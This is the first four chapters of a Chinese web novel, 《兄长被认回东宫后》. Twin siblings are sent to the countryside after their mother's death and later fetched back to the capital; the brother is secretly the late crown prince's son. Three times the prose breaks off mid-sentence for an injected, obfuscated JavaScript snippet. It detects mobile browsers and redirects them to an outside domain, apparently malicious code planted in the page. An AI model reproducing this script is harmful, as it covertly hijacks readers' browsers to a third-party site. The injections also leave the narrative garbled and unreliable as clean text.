《兄长被认回东宫后》 1. 001 永定十八年，夏。 京城、薛府。 是夜，无风无月。墨灰的天穹上，只挂着几点疏星。 窗槛外，梳着双丫髻的小女孩儿努力掂着脚，试图透过窗牖的罅隙，看清寝屋里的情形。 可屋内光影昏沉，她什么也看不见，也看不着娘。 女孩儿松开了扒在窗沿上的手，抽了抽鼻子。 她嘴巴一扁，就要哭出来的时候，身旁一个高她半头的小郎君，朝她伸出手，摸了摸她的脑袋。 “别怕，浓浓。” 被唤作“浓浓”的女孩儿非但没止住眼泪，反倒扑进了他的怀里，哇哇大哭了起来。 “哥……怎么办，娘病得好厉害，她不会不要我们了吧……” 小郎君与她同岁，身形也不过稍长她一些，但依旧抱得很稳。 他垂着眼帘，没有开口安慰，只任凭妹妹的眼泪淌在他的衣襟上，有一下没一下地，轻拍着她的肩膀。 吱呀一声，门开了。 一股浓郁的、散发着不详气息的药味随风涌动，婢女红着眼眶，朝两个孩子道：“随奴婢进来吧，夫人在喊你们。” …… 朱婉仪的情况已经很不好了。 她勉强靠坐在床头，双目紧阖、面若金纸，听到两个孩子进来的动静，只有眼睫颤了颤。 她刚要说话，又咳嗽了几声，侍候在旁的洪妈妈赶忙去搀，一低头，叫被面上星星点点的红刺痛了双眼，别过了头去。 洪妈妈忍泪，朝两个孩子道：“快些过来，叫你们娘好好瞧瞧你们。” 朱婉仪坐起来，摆摆手，咽下了喉间的腥甜，道：“不要太近，就在床帐外。” 她不想孩子记忆里最后的母亲形象，是个痨病鬼。 她偏过头，视线透过轻薄的帷纱，看向了自己的女儿。 时间过得可真快啊。 都七岁了。 可惜她大限已至，见不到女儿长大了。 朱婉仪闭了闭眼，把眷念的目光，从女儿的身上收了回来。 “都出去。”她呼吸微滞，却勉力平静地道：“阿朔，你留下，母亲有话和你说。” …… 薛云朔没有想到，自己会被单独留下。 他与妹妹薛嘉宜，虽是一母同胞的双生兄妹，但妹妹自小体弱多病，母亲总是会更偏爱她。 “母亲。” 朱婉仪牵扯嘴角，似乎想笑，但实在笑不出来。 她朝他招手，示意他过来些。 薛云朔依言照做，站定在了离床帐不过尺余的位置。 他看到了被面上如红梅绽开的血色，垂下眼，掌心发紧。 朱婉仪没有说话，只定定地看着他。 他身量单薄，模样还是孩子的模样，眉眼间却已经有了不符合这个年纪的沉郁之色，瞧不出多少孩子气。 轮廓和五官，也越来越不像她，不像他的妹妹。 等他再大些，等有心人瞧见他的这张面孔…… 当时保住他、保存故太子的血脉，不知对她的嘉宜是福是祸。 心口仿佛灼烧一般在痛，朱婉仪的声音却没有起伏。 “阿朔，你是哥哥，母亲有事要交代你。” 薛云朔跪下，朝她磕了一个头，直起身道：“母亲请讲。” “薛家不是个好地方，我走之后，会让人带你们回严州府——朱家的祭田在那里。你去那里，带着妹妹。” 远离薛家，远离京城。 能拖几年是几年吧，朱婉仪想。 薛云朔微微一怔。 从他记事起，父母就是不睦的。 母亲早早地就搬出了正院，名义上还在薛家，实则是带着他们析府另居；父亲薛永年更是鲜少踏足这边，偶尔来一回，夫妻俩也会吵得面红耳赤。 他懂事早，知道这是为什么。 他的外祖父朱翰，曾任太子詹事。但多年前，故太子被治了谋逆大罪，东宫党羽尽皆遭受牵连。 母亲怨恨深受朱家恩惠提拔的父亲不肯施以援手，自此长绝。 可是他没有料到，母亲会决绝到这种地步，竟是不想让他和妹妹继续留在薛家了。 薛云朔垂眸，道：“是，母亲放心，我会好好带着妹妹。” 朱婉仪深吸一口气，一字一顿地道：“不——不够。” 薛云朔再早熟，也不过是个七岁的孩子，闻言，一时不知如何回答。 他的沉默却像是火星，叫朱婉仪的情绪骤然爆发了起来。 “你记住，她是你的妹妹！” 女人本就呼吸困难，此刻的声音更是像被人扼住了喉咙一样尖锐。 “她永远是你的妹妹！” “日后，无论发生什么——你都一定要保护她！你发誓！” …… 远山尽处，渐渐泛起了蛋青的颜色。 缠绵病榻多载的朱婉仪，在和心腹交代完两个孩子的去处之后，终于还是合上了眼帘。 天亮了。 兄妹俩被洪妈妈一手一个地牵着，到床前给母亲最后磕了三个头。 薛嘉宜的眼睛都哭肿了。 七岁是一个很微妙的年纪，也许不够她明白许多的事情，却也足够她意识到，她再也见不到娘亲了。 薛云朔安静地跪在榻边，一言不发，心里盘桓着母亲最后说的话。 洪妈妈早哭过了，这会儿已经冷静了下来，没有沉溺在悲伤里。 她依照朱婉仪方才的吩咐，一刻也不停，立时就牵着两个孩子起来，要带他们走。 对于自己的大限，朱婉仪早有预料，连车马都早有准备。 只是，就在洪妈妈要带着两个孩子上车的时候，别院紧闭的大门，突然间被人踹了开来。 还沉浸在悲伤之中的薛嘉宜被吓得肩膀一颤。 她抬起朦胧的泪眼，看见了来人是谁。 虽然不熟，但是她还认得这是她的父亲。 孩子都哭成了这样，已经不需要再问什么就能明白了。 薛永年瞳孔微缩，径直闯入了房中。 片刻功夫后，他转身出来，原本默然的眼神，在触及到洪妈妈牵着的两个孩子时倏而一凝。 他缓步走向那架马车，脸色难看极了：“你这老奴，要带我薛家的孩子去哪儿？” 薛永年的步伐缓缓逼近，身后还带着人。洪妈妈自知无法直接带着孩子离开了，扑通一声就跪了下去。 “老爷！这是夫人最后的遗愿，到底夫妻一场，求您成全啊！” 洪妈妈跪在地上，不住地叩首、祈求。 男人迈向儿女的脚步微顿，良久，竟是嘲讽般冷笑一声：“她竟恶我至此。” “罢了，都滚吧。” “从今往后，我薛家就当没这两个种。” —— 永定二十七年，严州府。 夏末的雨依旧绵延，从富贵优渥的京师，一路落到了千里之外的山野之地。 距离薛家兄妹俩离开京城，已经过去九年了。 天边落着雨，泥泞的乡野小路上，出现了一辆与环境显得格格不入的马车，看起来很是富贵。 只可惜中看不中用，车辙已经深陷进泥里。 为首的中年妇人穿了身靛色裙衫，衣服的料子不错，不似贫苦百姓，但是发间没有什么额外的装饰，相比自己有钱，更像是某个大户人家的仆人。 只是这乡间的路实在恼火，她裙摆沾了泥水，鬓发也湿了，瞧着好不狼狈。 “还要多久才能弄出来？” 她皱着眉，问正在试图把车从泥里拉拽出来的马夫。 马夫苦笑作答：“这雨一直下，滑得要命。全嬷嬷，没人帮忙，一时半刻的，恐怕是弄不出来的。” 被称作全嬷嬷的妇人眉心愈发紧皱，忍不住嘀咕了一句：“前头那位夫人到底发什么疯，非要把儿女送到这穷乡僻壤里来！” 薛家现在的夫人姓秦，秦夫人领了丈夫薛永年的意思，派心腹全嬷嬷来严州府接这两个孩子回京。 全嬷嬷一行人又是坐船又是乘车，好容易辗转到了严州府，再到县里，却被告知这朱家的祖宅和祭田还在几十里外的乡下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088585|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 结果又逢阴雨连绵，他们经验不足，走错了路，又陷了坑。 眼见天要黑了，马夫提议道：“车是不行了，不若我们先牵马走，到附近人家中借宿一晚，明早再找人来帮忙吧。” “说得倒轻巧，还不是你们驾车不小心？这前不着村后不着店的，到哪儿去……” 全嬷嬷正埋怨着，扭头，却见不远处的另一个方向，有一个头戴斗笠、身披蓑衣的人，正走在路上。 这人个头很高，背着只大大的竹篓，手上拿着把弓，腰上挎了箭袋，像是生活在附近的猎户，散发着一股生人勿近的气质。 全嬷嬷眼睛一亮，立时便迎了上去，“这位小哥，请留步——” 她清了清嗓子，上前道：“我们行路在此，不慎摔了车，这会儿下着大雨没地儿可去，不知你家在何方，可否容我们借宿一晚？必当报偿。” 说话的时候，她刻意地晃了晃腕间的玉镯，展示了一下自己报偿的实力。 那猎户打扮的男人果然停步。 “你们是哪里人？大雨天，来这里做什么？” 这猎户的声音听起来很是年轻，戒备心倒是强。 全嬷嬷眼珠一转，答：“我们是自严州府来的，来乡下探亲——朱家，这边的朱家你听说过没有？” 斗笠微微偏斜，他透过雨水织成的帘幕，平静地看了这群不速之客一眼。 “你们去朱家找谁？” 全嬷嬷赶忙道：“我们是来探亲的，小哥可认识路？要是不远的话，现在就可以带我们过去，我们不亏待你，给你引路钱。” 这猎户小哥仿佛若有似无地笑了一下，眼神却冷了下来。 全嬷嬷正忐忑着，不知他是要拒绝还是要答应，紧接着，便见他转身，走在了他们前面。 “跟我来。” …… 雨越下越大了。 全嬷嬷开始有些庆幸在路上碰着了人。 不然这一瓢瓢的雨浇下来，在外头可怎么过夜？ 可就这么跟着走，她的心里却也有些没底，忍不住和这猎户搭话。 “小哥什么年纪，家里就是做打猎这营生的吗？” “朱家……朱家是有两个孩子在这边吧？一个小郎君一个小姑娘，不知你平时可有见过他们？” 年轻的猎户始终一言不发，直到此时，才隔着斗笠投去了隐晦的一瞥。 “你找他们兄妹俩做什么？” 全嬷嬷随口就道：“我此番，是给那姑娘说亲来的。” 她正想再问一问，还有多久才能到的时候，这猎户突然顿足，朝前方一指：“到了。” 全嬷嬷顺着他指的方向望去。 当年，朱家被牵连到太子谋逆的案子里，落得个抄家灭族的下场，阖府男丁最好的下场，也就是个流放。 好在这片田地是朱家的祭田。 按澧朝律令，家中的祭田和祖宅不在抄没的范畴。 不过即使没有被抄没，失去了靠山和人气的田地和宅院，也早已今非昔比，看起来很荒敝，四下都有青苔横啮。 全嬷嬷在心里啧啧两声。 那朱夫人果然是疯了，把儿女送到这样的地方吃苦，就为了和丈夫赌气。 她心生慨叹，正要上前叩门，却见这猎户小哥径直往前，竟是像回家一样，直接打开了门。 他摘下了背篓，站在门边，示意道：“进吧。” 全嬷嬷有一瞬犹疑。 这猎户和朱家什么关系？ 是乡邻间民风淳朴，所以这么熟悉？ 但又是赶路又是淋雨，一行人都很累了。在想清楚之前，身体的本能就驱使她，先一步迈进了院中。 全嬷嬷顶着雨水，张望了一下，正想问一问这小哥，到底是个什么情况，一回头，却见他还站在院门边。 咔哒一声，院门被关上了。 他的手里，不知何时多了把柴刀。未被斗笠遮蔽的下半张脸上，笑意森冷。 “竟然还敢登门，还敢打我妹妹的主意……” “这一次，你们别想回去了。” 2. 002 这是什么路数的匪徒？ 全嬷嬷悚然一惊。 柴刀闪烁的寒光中，她发出了尖锐的惊叫：“你你你……你是图财还是害命？来人呐，救命——” 刀光越迫越近，她哆哆嗦嗦地后退着，脚下一滑，跌在了地上。 视角骤然变低，直到这时，她才透过连绵的雨幕，看清了斗笠之下的那一双眼睛。 清明、锐利，像一柄渴血的剑。 全嬷嬷的瞳孔颤了颤。 听声音就知此人年纪不大，可她怎么也没有想到，眼前的男人，会是如此年轻面嫩的一个小郎君！ 雨丝纷纷、连缀成幕，他挺拔端正的身形步步逼近，杀气凛然。 这荒郊野岭的，一嗓子喊起来，只能惊飞枝上的鸟雀，根本喊不来人救命。 全嬷嬷以为自己就要死得不明不白了，绝望闭眼，耳畔，却忽然传来了一道清脆的女声。 “哥——你可回来了……咦？” 一个身着青绿裙衫的姑娘，伞都没打，从屋子里奔了出来。 她生了一双很明亮的眼睛，粉腮桃面，是让人看了就很想亲近的长相。髻边垂着两缕鹅黄的丝绦，在细密的雨丝里，随着她奔跑的动作漫舞飞扬。 雀跃的声音，在小姑娘看到几个陌生人出现在家里时停住了。 她歪了歪脑袋，疑惑地看向了一旁的兄长，发出了疑惑的声音：“哥，你……他们是？” 薛云朔神色平静，把拿着柴刀的右手往身后放了放：“回去，下雨了出来跑什么？” 全嬷嬷在雨水中睁开了眼，看清这女孩儿肖似其母朱婉仪的眼睛时，福至心灵般回过神了。 “别……别动手！” “你们、你们就是薛家的大公子、大姑娘，对不对？” —— 一通乌龙之后，洪妈妈出面，通过全嬷嬷手中的薛家印信，确认了他们的身份。 洪妈妈不无讪讪地道：“真是对不住，叫你们受惊了。” 九年过去，她原本花白的鬓边，现在已经白透了。 朱婉仪小时都是她带大的，到如今这两个小的都十六岁了，她想不老也难。 全嬷嬷仍旧惊魂未定，喝了几端茶才勉强顺下去一点，开口时却还有力气阴阳怪气：“要我说，这穷乡僻壤的，可真不是什么好地方，把郎君的性子都养左了！” 这见人就动刀的凶恶习气，也不知怎么养成的！ 洪妈妈看了一旁过分缄默的薛云朔一眼，轻叹口气。 她知道他为什么今天会动刀。 前些日子，县里有富户子弟，瞧上了薛嘉宜的美貌，意图强纳她做妾。 是薛云朔提着刀，把登门送聘礼的人全逼退了，刀刀见血。 凶的怕横的，横的怕不要命的，美人有这样的一个哥哥在，那富户子弟还真的掂量了一下自己的命够不够硬，最后偃旗息鼓了。 今日，薛云朔看见薛家的马车，怕是以为又是那富户派人来生事了。 洪妈妈扭过头，亲手给这全嬷嬷又续了盏茶，打着圆场道：“半大孩子么，就爱舞刀弄棍地吓唬人，没坏心思，嬷嬷别见怪。” 全嬷嬷有点喝饱了，没有再端杯子。 薛嘉宜觑了一眼哥哥的神情，见他额前的头发湿漉漉的、神态也有些紧绷，她悄悄地伸出手，隔着袖子，牵了一下他的尾指，晃了晃。 这是她惯常的小动作。 儿时父母吵得鸡飞狗跳的时候，她也常常这样悄悄拉住他的手。 薛云朔垂了垂眼，偏过头，用余光看她，仿佛在问怎么了。 薛嘉宜也不说话，只朝他抿唇一笑，露出颊边两点浅浅的梨涡。 洪妈妈和全嬷嬷主动聊了起来，很快得知了他们此行的目的。 “……特别是宜姐儿，如今该十六了吧，都到议亲的年纪了，总不好一直耽误在乡下。”全嬷嬷道：“老爷和夫人惦记着呢，命我来接他们回去。” 洪妈妈连忙应是，又哄了全嬷嬷一会儿，带着她和一起来的马夫、仆人，去了空房间安置。 等她再回来时，见兄妹俩还杵在这儿，不由地又重重地叹了口气。 因着这些年的经历，两个孩子其实都早慧。 当哥哥的表现得更明显些，遇事总是会站在最前面；当妹妹的瞧着迟钝却也不笨，只是内秀于心。 “行啦。”洪妈妈道：“事已至此，我们商量商量吧。” …… 九年前走得匆忙，加之害怕薛永年反悔，和兄妹俩一起来到严州府的，只有洪妈妈和她的丈夫安伯两人。 又见京城薛家的人，洪妈妈的心情其实不太好。 “哎……”她叹了个九曲十八弯，却还是道：“不管怎么说，待在这别庄终究不是长久之计。既然京城来人接了，还是回去吧。” 她顿了顿，继续道：“而且，那嬷嬷也没说错，咱们宜姐儿也到了嫁人的年纪了。在这乡下地界，能相看什么好人家？” 单看这一次富商的事情，便知就算嫁给了寻常人家，恐怕也护她不住。 薛嘉宜垂着密不透风的眼睫，小小声道：“我不想嫁人。” 洪妈妈拍拍她攥在膝头的手背，道：“说什么傻话？” 薛嘉宜抬眼看她，旋即又转过乌漆漆的眸子，看向对坐着的薛云朔：“如果嫁人，就不能和你们在一起了。” 这附近虽然人少，也是有其他庄户人家的。 她见过邻居姐姐出嫁，一顶红彤彤的轿子送出去容易，再想回来，可就是千难万难了。 她一贯这样孩子气，洪妈妈笑笑，也看了薛云朔一眼，换了个方向劝道：“好好好，我们宜姐儿不嫁。可你兄长也是要成家立业的呀。不管是文是武，在这里，终归是耽搁了。” 从知道薛家来人起便过分沉闷的薛云朔，终于开口了。 他抬起黑白分明的眼睛看着薛嘉宜，一字一顿地问道：“你想回去吗？” 洪妈妈安静了下来，似乎也想听听她的答案。 薛嘉宜眨了眨眼，道：“我们违拗不了。” 父亲要接子女回家，天经地义。 道理都懂，但是说完，她还是不自觉抿着唇，把膝头那一块裙子揪得皱皱的。 离开京城时，她已经七岁了，并不是不晓得事的年纪。 她知道从前的薛家是怎样的鸡飞狗跳，所以才格外珍惜在这座别庄的生活。 虽然清苦，可不必与那么多双形形色色的眼睛接触，她觉得很自在。 薛云朔的眸光微闪，道：“如果你不愿意回去，总也有办法。” 不论在哪，他总能保护得了她。 薛嘉宜抬起微翘的眼睫，看着他，很认真地摇了摇头：“我还好的，哥哥，只要不和你分开，回去就回去了。” 薛云朔别过头，没有回答。 —— 回京的日子，最后定在了大暑过后。 过了大暑，天气能干爽些，好赶路。 那全嬷嬷想快点回去交差，不住地催促着：“还要在这乡下地界待多久？老爷和夫人都在京里等着呢。” 不过有薛云朔提刀在先，她嘴上也不敢如何放肆，最多只敢暗戳戳的拿长辈来压。 薛云朔淡淡睨她一眼，道：“虽是归家，也不能空手登门。我们要备些土仪，聊表为人子女的心意。” 这几日，他弄清楚了薛家的大致情形—— 薛永年一路高升，如今简在帝心，正安坐在吏部右侍郎的位置，自发妻故去后没两年，便扶正了姨娘秦氏为续弦，陆续又添了两个儿子。 薛云朔所说的理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088586|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由，全嬷嬷无法反驳，却还是道：“置办土仪而已，要这么久吗？” 薛云朔道：“那是自然，严州物产富饶。只是别庄这几年荒废了，一时凑不齐全，才耽误时间。还请嬷嬷支应些银钱，我们好快些置办、快些启程。” 还真会顺杆爬。 全嬷嬷不好自打自的脸，只能悻悻地去车厢里拿钱免灾。 拿到银钱后，薛云朔并没有真的去置办土产。 他请人修缮了屋舍、买粮填满了地窖，又连进两天山，打回了若干猎物，制成肉脯、鞣制兽皮。 薛嘉宜这几日也没闲着，收了园圃里的草药、补了漏角的窗纱，还把家里里里外外打扫了几遍，连洪妈妈匣子里的针，都叫她挨个穿好了线头。 洪妈妈和安伯渐渐觉出不对劲来。 “你们这是……”她笑得勉强：“这是不准备带我们老俩口进京了？” 薛嘉宜和薛云朔对望一眼，从彼此的眼中看见了同样的意思。 她上前几步，认真地握住了洪妈妈的手，道：“安伯腿脚不好，洪妈妈你年前也才生过病，此去京城上千里，怎么折腾得起呢？” 她和哥哥没有商量，但却达成了惊人的默契—— 洪妈妈和安伯祖籍本就在严州，况且他们的年纪都大了，安安稳稳地生活不好吗？去京城前途未卜，又何必让他们一起千里奔袭？ 薛云朔没说话，只把将将修好的拐杖递给安伯。 洪妈妈见不得这场面，已经开始抹泪了。 从前还在京城的时候，朱婉仪因为抱病，就很少有能亲自照应儿女的时候，而洪妈妈一直是看着她长大的。 “真是冤孽哦……我怎么舍得。”洪妈妈哽咽道：“要叫你俩独个儿进京去了。” 薛嘉宜也想哭，但是她皱了皱鼻子，忍住了。 她环抱住洪妈妈的肩膀，柔声安慰：“都是‘我俩’了，怎么能叫独个儿呢？别担心我们呀洪妈妈，我和哥哥一起，没事的。” 薛云朔没吭声，只悄悄地，站到了薛嘉宜身后。 …… 紧拖慢拖，最后这点时光还是飞快地过去了。 回京的马车里，薛嘉宜趴在车窗上，回头看了好久。 直到视野里再看不到洪妈妈和安伯，也再看不到那一座别庄，她才转身坐回来。 她还是舍不得，低着头，眼底湿润。 “别担心。”少年人的声音低沉传来：“我已拜托乡正，也和赵二叔说了，请他们日后多加照拂。” 赵二叔是村里的猎户，为人诚朴，薛云朔打猎的本事便是和他学的。 薛嘉宜用力地点点头，没说话。 薛云朔抬起手，似乎是想摸一摸她的脑袋，最后却还是收了回来，只往她身侧坐得近了些。 总是聒噪得像个小麻雀的薛嘉宜，此刻却是一言不发。 她侧过头，试探般往薛云朔的肩膀上轻轻一靠，没有感受到拒绝，才把脸在他肩头贴实了。 男女七岁不同席，她和他因着是双生子的缘故，比寻常兄妹亲厚许多，但长大之后，到底还是保持着正常的距离，鲜少离得这样近。 可现在，她不想管那么多了，她只想好好地靠一靠他，靠一靠在这世上，与她血脉牵系最深的人。 她凑过来的时候，薛云朔的身形有一点几不可察的僵硬，不过很快，他便立直了脊背，叫她靠得稳稳的。 隆隆的车声里，薛嘉宜依偎在他肩上，唤道：“哥哥、哥哥——” 薛云朔低声问：“这样叫我做什么？” 薛嘉宜不说话了。 星星点点的泪花，洇开在她微红的眼尾。 薛云朔垂眸，还是抬起手，用指腹捻去了她羽睫上挂着的泪珠，声音沉缓而坚定。 “别怕，我在。” 3. 003 一行人很快登上了去往京城的官船。 严州府距京上千里，只走陆路能拖到来年，若无特殊情况，一般都走运河。 薛嘉宜提着裙裾，小心翼翼地登上了船舷。 她上一回坐船，还是来严州府的时候。 那时她还小，又沉浸在失去母亲的悲伤里，诸般情形与感受，已经记不真切。 眼下看见这条浩浩汤汤的运河，薛嘉宜紧张之余，却也有些微妙的兴奋。 “哥——”她拖着长音唤他，用手指向河岸边：“你快看，那个是白鹭吗？” 船舷边风大，她额前的碎发被吹得蓬蓬的，眼神也亮晶晶。 薛云朔顺着她指着的方向看过去，点头：“嗯，应该是白鹭。” 还有几只水雉凑在岸边，扑腾着翅膀，不知是在搭窝还是育雏。 看了一会儿新鲜后，薛嘉宜的神色渐渐怅惘起来：“可惜这次，不能带翘翘一起走。” 去岁冬天的时候，她在树下救起了一只受伤的雀鸟，悉心养了许久。 后来开春了，它也没有再飞走，薛嘉宜高兴极了，留下了它，给它取名翘翘——因为它有一根翘翘的尾羽。 见她低落，薛云朔反倒低笑一声，道：“你这算什么，睹鸟思鸟？” 那小鸟儿叫她养得圆乎极了，和岸边细细长长的白鹭，可以说是两模两样。 也不知她是怎么能想一起的。 薛嘉宜嘁他一声，旋即又若有所思地道：“留下它，替我陪着洪妈妈，也挺好的。” 薛云朔没有说话了，只安静地站在她身边。 橹声渐起，风越来越大，他的声音却依旧清晰明亮：“回舱房去吧，再吹要着凉了。” 薛嘉宜嘟囔着转身：“我也不是纸糊的，风一吹就倒。” 薛云朔瞥她一眼，提醒道：“当年不知是谁，坐船的时候又是发热又是吐，命都快没了半条。” 这句命没了半条，一点没夸张。 长途跋涉本就辛苦，之于一个才七岁，自小还体弱多病的小儿来说，是真的要命。 得亏这几年，她在乡下地界跑跑跳跳的，把身体养好了些，此番才连赶几天的马车，还能站着上船。 这个当年太遥远了，薛嘉宜的记忆有些模糊，她狐疑地道：“有吗？” 正说着，又是一阵河风呼啸而过，她克制不住，极为应景地打了个喷嚏。 在薛云朔的眼刀飞过来之前，薛嘉宜缩了缩脖子，快步回到了自己的舱房。 她站在门边，幅度很小地朝他摆了摆手。 薛云朔没急着回去，而是在船上转了转。 官船很大，且有兵士保持秩序，但是毕竟鱼龙混杂，他有些不放心。 薛嘉宜倒是没想太多。 她一贯是个随性的，既来之则安之，再加上本也不是特别喜欢出门，呆在不大的舱房里对她来说不算难受。 薛嘉宜拿出了一本《神农本草经》，慢吞吞地读了起来，打发时间。 她自小体弱，久病成医算不上，却也有心学了一些。 当然，时至今日，也只有薛云朔敢吃她开的方子，连洪妈妈和安伯都敬谢不敏。 不过她的身体虽比小时好些，到底不算太硬气，在船上颠了半天之后，开始有些不舒服了，没用多少晚饭，便开始躺下休息。 果然也没有睡着。 薛嘉宜拥着被子，侧过身，靠着和兄长毗邻的木质舱壁。 尽管做足了心理准备，骤然来到这人生地不熟的地方，她还是有些害怕。 薛嘉宜想了想，起来把灯重新又点亮了，才躺回去，轻轻合眼。 她正要哄自己睡觉，小腹忽然传来一阵绞痛。 是吃坏了东西吗？ 可晚上没吃什么呀。 她皱了皱眉，伸出掌心贴了贴自己，还没来得及再分辨，另一种陌生的潮涌，忽然就占据了她的全部感受。 原本细微的、牵扯一般的绞痛，也变得剧烈了起来。 舱壁很薄，不过一层木头，她这边翻来覆去的动静，很快就叫隔壁的薛云朔听见了。 笃笃两声，他叩响了船壁，声音也透过木头，低低地传了过来。 “做噩梦了？” 薛嘉宜把唇抿得死紧，道：“没有。” “那是哪里不舒服？”他又问。 薛嘉宜回答得吞吞吐吐：“还……还好。” 这就是不好了。 薛云朔很明白她。 他翻身起来，披了衣服，走到了她的舱房门口，不由分说地道：“叫我瞧一眼。” 薛嘉宜把自己往被子里缩了缩，努力昂起头道：“哥，我没事，可能只是有些水土不服。” 门外的脚步声一顿，很快离开了，什么也没有说。 薛嘉宜有一点微妙的失落，她蜷起双膝，正要抱住自己，那道脚步声却忽然去而复返。 “开门。”是薛云朔的声音：“我请了船上的郎中来。” …… 水路一走就是十天半个月的，人其实很容易生病。 大点的官船上，基本上都配了郎中。当然，去找郎中时，郎中给什么脸色，那就要看舱房是几等的、船票又价值几何了。 薛嘉宜拥坐在被子里，眨着双黑漆漆的眼睛，看着正给她搭脉的郎中，软声软气地问：“我应该没事吧，只是肚子稍微有些疼。” 郎中是个老头儿，他扭过头，看了一眼杵在一旁的薛云朔，轻咳了一声，道：“这位郎君，你先出去、出去，我有话和你小妹说。” 薛云朔眉心微蹙，目光落在薛嘉宜发白的脸上：“是什么病？” 难道很严重吗，都不能叫他知道？ 他去请郎中的时候就盘算好了—— 不管那全嬷嬷的态度如何，如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088587|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹病了，他是一定要带她去下一个停靠的地方先行养病的，不能为了回京，再搭她半条命进去。 郎中的表情僵硬了起来，欲言又止了片刻之后，见薛嘉宜也一脸懵懂地看着他，郎中站起身，走到了薛云朔身边。 老头儿轻咳了一声，拍了拍少年人尚还单薄的肩膀，道：“令妹没有生病，只是……到了来天癸的年纪了。” 说罢，他跨步便走。 意识到自己听见了什么之后，薛嘉宜瞪圆了一双眼睛，脸更是瞬间烧红了。 她把脸埋进了被子里，恨不得给自己闷死算了。 怪不得呢！ 怪不得她腹下一坠一坠的。 她自己明明读过医书，长大后，洪妈妈也和她婉转提过，怎么就没想起来？ 再亲厚，男女也是有别的。 结果现在还……叫哥哥和她一起知道了。 她偷偷抬眼，往兄长的方向觑了一眼。 薛云朔的端方自持，这会儿也不剩多少了，他的脑子里一片空白，直觉自己的过分关心，导致他撞破了一些……很尴尬的事情。 他的常识虽不匮乏，可也仅止步于知道这是什么。 薛云朔抬步欲走，却还是忍住了。 他耳尖微红，别开脸道：“那现在……该怎么办？” 虽然羞窘，但是薛嘉宜的脑子倒还是清楚的，想到了该怎么解决。 她埋在被子里，瓮声瓮气地说：“哥，你帮帮我，去请……去请全嬷嬷过来吧。” 船上也不认识别的什么人了，此行来接他们的，除了全嬷嬷和一个粗使婆子是女子，剩下的马夫健仆都是男人。 …… 天虽然黑了，但是时辰不算太晚。 薛云朔带着全嬷嬷来了。 薛嘉宜有些局促地咬了咬唇，一时没敢吭声。 她知道，这个全嬷嬷是如今她父亲如今继室秦夫人的心腹，也还记得，全嬷嬷刚到朱家祖宅的时候，差点叫她哥哥的刀架在了脖子上…… 薛嘉宜不免有些忐忑。 如果……如果全嬷嬷不愿意帮忙，她应该怎么办？ 洪妈妈之前是怎么教她的来着？ 仿佛只简单提了一嘴，具体细节，她已经不记得了。 全嬷嬷的脸色果然不太好看，发髻也有些潦草，看起来像是准备歇下了，却叫人喊了起来。 “什么事情，大晚上的拖拖拽拽？” 她生了张容长脸，配了弯细细的柳叶眉，本也不是好相与的面相，此刻拉着脸，更是显得有些刻薄。 薛嘉宜直起腰，抢在兄长开口之前，硬着头皮道：“全嬷嬷，我、实在抱歉，我……我来癸水了，我不知道该……” 闻言，全嬷嬷瞪大了眼睛。 下一息，薛嘉宜还没反应过来呢，形容刻薄的中年妇人，伸手往薛云朔背后一推，啪嗒一声就关上了房门。 4. 004 薛嘉宜的担心是多余的。 全嬷嬷把那个半大的男人赶了出去，随即便事无巨细地、一样样地教她应该怎么处理。 见小姑娘眨着乌漆漆的眸子看着她，呆呆的，也不说话，全嬷嬷没好气地道：“听全了没？” 薛嘉宜这才回过神来，小鸡啄米似的努力点头：“全了、全了。我都记住了。” 全嬷嬷还想再说她两句，见小姑娘这可怜巴巴的模样，忍住了。 也是作孽哦。 她心想：这些事情，本该让亲娘来教的。 秦夫人还是姨娘的时候，全嬷嬷就服侍在薛家服侍她了，自然清楚前面那点陈芝麻烂谷子。 要她说，那位朱夫人，实在也不是个聪明的。 为着娘家的事情拗着、与自己的丈夫斗气，最后呢？可怜的只有她留下的孩子。 小姑娘身边连个熟悉的、能在她月信时教她的人都没有。若非做娘的还给她留了个亲生的哥哥，几乎可以称作伶仃于世了。 想到这儿，全嬷嬷看薛嘉宜的眼神，简直算是怜悯。 薛嘉宜虽然人有些钝钝的，但其实对别人的情绪很敏锐，见状，她微微一瑟，却还是很认真地道：“多谢嬷嬷。若不是你，我真不知该怎么办了。” 小姑娘的谢意真诚而直接，绷着脸的全嬷嬷反倒有些抹不开面的感觉，她“嗐”了一声，摆手道：“老的小的，不都是女的，这有什么。” 全嬷嬷打开薛嘉宜的箱笼，拣了两件干净的小衣出来，拿了剪子给她裁好，道：“船上没有细绢，先凑活凑活。这东西呀，叫陈妈妈……” 薛嘉宜不是太害羞了，听得很认真。 